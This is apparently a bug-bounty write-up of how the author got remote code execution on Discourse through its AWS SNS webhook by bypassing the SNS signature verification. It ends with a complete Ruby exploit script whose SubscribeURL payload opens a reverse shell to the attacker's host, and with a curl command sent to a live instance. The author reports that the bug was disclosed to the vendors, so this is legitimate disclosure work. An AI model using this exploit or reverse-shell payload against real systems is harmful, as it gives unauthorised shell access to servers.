I was staring at this part of the code for way too long already:

module Jobs

  class ConfirmSnsSubscription < ::Jobs::Base
    sidekiq_options retry: false

    def execute(args)
      return unless raw = args[:raw].presence
      return unless json = args[:json].presence
      return unless subscribe_url = json["SubscribeURL"].presence

      require "aws-sdk-sns"
      return unless Aws::SNS::MessageVerifier.new.authentic?(raw)

      # confirm subscription by visiting the URL



The above code is an excerpt from Discourse’s AWS notification webhook handler. This handler can be triggered without further authentication under https://somedicourseinstance/webhooks/aws. In the above code args[:raw] is the raw POST body and args[:json] is the POST body but parsed as JSON.

The call to open with some external input delivered via a webhook was really bothering me for quite a while.

brain meme

When calling open with attacker supplied input this can easily lead to OS comand execution. Having a payload of open("|somecommand") it will call somecommand on the shell for us.

The thing here is: the payload has to be signed by AWS. This verification is what the call to Aws::SNS::MessageVerifier.new.authentic? does for us. In order to not only give AWS a free shell on any given Discourse instance, but also me I needed a bypass to this signature check to also be able to invoke commands ;D.

Let’s get an overview of what checks are in place to verify the signature:

      def authentic?(message_body)
      rescue VerificationError
      def authenticate!(message_body)
        msg = Json.load(message_body)
        msg = convert_lambda_msg(msg) if is_from_lambda(msg)
        if public_key(msg).verify(sha1, signature(msg), canonical_string(msg))
          msg = 'the authenticity of the message cannot be verified'
          raise VerificationError, msg
      def public_key(message)
        x509_url = URI.parse(message['SigningCertURL'])
        x509 = OpenSSL::X509::Certificate.new(pem(x509_url))

      def pem(uri)
        if @cached_pems[uri.to_s]
          @cached_pems[uri.to_s] = download_pem(uri)

      def download_pem(uri)

      def verify_uri!(uri)

      def verify_https!(uri)
        unless uri.scheme == 'https'
          msg = "the SigningCertURL must be https, got: #{uri}"
          raise VerificationError, msg

      def verify_hosted_by_aws!(uri)
        unless AWS_HOSTNAMES.any? { |pattern| pattern.match(uri.host) }
          msg = "signing cert is not hosted by AWS: #{uri}"
          raise VerificationError, msg

      def verify_pem!(uri)
        unless File.extname(uri.path) == '.pem'
          msg = "the SigningCertURL must link to a .pem file"
          raise VerificationError, msg

The above excerpts are the relevant code pieces we need to keep in mind. The main verifications are around the PEM which signs the actual SNS message. TL;DR:

The SigningCertURL which hosts the PEM file needs to:

  1. Have a HTTPS URL
  2. Be hosted on a host matching the regex: /^sns\.[a-zA-Z0-9\-]{3,}\.amazonaws\.com(\.cn)?$/
  3. Be on a path ending with the extension .pem

I stared at the code for quite a while but there seemed no way around those requirements. So I began to look at the SNS service itself. This service is intended to push messages to various registered endpoints. The code above taken from the ConfirmSnsSubscription class is implementing a response to acknowledge the sign up for SNS messages in Discourse. To acknowledge this the SubscribeURL needs to be visited, this is exactly what the call to open(subscribe_url) does and this is exactly the data I was interested in controlling for the sake of RCE :).

But now back to the AWS part of the SNS service. I signed into the AWS console and took a look at the SNS service from there. I briefly messed around and sent some messages. The SigningCertURL parameter was pointing to a .pem with the following URL:


This obviously matched the above conditions to pass the checks for the signature. But I also noticed that any other SNS operation would be hosted on sns.us-east-1.amazonaws.com too.

Slowly a plan came together. I could make the API reflect a X509 certificate warpped in a error message by using a URL like:


This looked as follows:

injected cert

I crossed my fingers an checked Ruby’s OpenSSL::X509::Certificate.new manually. Luckily that method would ignore the surrounding XML and just parse out my certificate embedded in the errormessage from sns.us-east-1.amazonaws.com. But the .pem extension is not fulfilled by this path. Taking a deep breath and being pleasantly surprised:

The host would respond to arbitiray file names with the same response as with requests to /. So the URLs https://sns.us-west-2.amazonaws.com/?Action=FOO and https://sns.us-west-2.amazonaws.com/LOL.wat.pem?Action=FOO seemed to do the very same thing, meaning we can get past the .pem file extension restriction.

One last thing now stopped the bypass to work:

      def https_get(uri, failed_attempts = 0)
        args = []
        args << uri.host
        args << uri.port
        args += http_proxy_parts
        http = Net::HTTP.new(*args.compact)
        http.use_ssl = true
        http.verify_mode = OpenSSL::SSL::VERIFY_PEER
        resp = http.request(Net::HTTP::Get.new(uri.request_uri))
        if resp.code == '200'

We’d need a 200 response from the server, but the X509 injected in the error message would give us a status of 400. Still really too close but not yet true, so I digged deeper in the AWS console and the SNS documentation. The GetEndpointAttributes method sparked my interest a lot as it allowed to have CustomUserData. So I poked the AWS console a bit struggling to find the right settings. But finally I was able to creat such an endpoint which holds a X509 certificate as custom data:


The URL to this data needs to be signed as it’s an AWS API operation.

Putting all this together the full exploit looked like this:

require 'aws-sdk-signer'
require 'openssl'
require 'json'

key = OpenSSL::PKey::RSA.new(File.read("server.key"))
cert = OpenSSL::X509::Certificate.new(File.read("server.crt"))


def canonical_string(message)
  parts = []
  SIGNABLE_KEYS.each do |key|
    value = message[key]
    unless value.nil? or value.empty?
      parts << "#{key}\n#{value}\n"

signer = Aws::Sigv4::Signer.new(
  service: 'sns',
  region: 'us-east-1',
  access_key_id: ENV["AWS_ACCESS_KEY_ID"],
  secret_access_key: ENV["AWS_SECRET_ACCESS_KEY"]

url = signer.presign_url(
  http_method: 'GET',
  url: 'https://sns.us-east-1.amazonaws.com/x.pem?Action=GetEndpointAttributes&EndpointArn=arn%3Aaws%3Asns%3Aus-east-1%3A438937529581%3Aendpoint%2FBAIDU%2Fxxx%2F63cbfc62-1ffe-3dae-ab8a-3b301f2a7e03',
  expires_in: 60

puts url
msg = JSON.load <<END
  "Type" : "SubscriptionConfirmation",
  "MessageId" : "0d5f8053-1356-4eef-bc68-4ff0cf1cf61e",
  "SubscribeURL" : "|ruby -rsocket -e'f=TCPSocket.open(\\u0022myhost\\u0022,443);spawn(\\u0022/bin/sh\\u0022,[0,1,2]=>f)'",
  "SignatureVersion" : "1"

sig = Base64.strict_encode64(key.sign(OpenSSL::Digest::SHA1.new, canonical_string(msg)))
msg["Signature"] = sig
msg["SigningCertURL"] = url
puts JSON.dump(msg)

The output of that script is a JSON string which will let us get past Aws::SNS::MessageVerifier.new.authentic?(raw) in the Discourse codebase and thus allowing RCE with the SubscribeURL value. After verifying the signature locally I gave it a shot against try.discourse.org like so with the signed JSON in the payload file:

curl -X POST https://try.discourse.org/webhooks/aws --data @payload

It worked I got a shell and left a note in /tmp/bugbounty.txt. Afterwards I reported to the Discourse project and AWS.

My take aways of this whole thing are:

  • Two little quirks (Ruby’s forgiving X509 parsing and the forgiving AWS responding to non-existent paths) might be enough to get a shell somewhere :)
  • It pays off to dig deeper, on a first glance I might have given up because “it’s signed!”
  • It’s worth to have a look a things beyond the pure code as code always lives within some context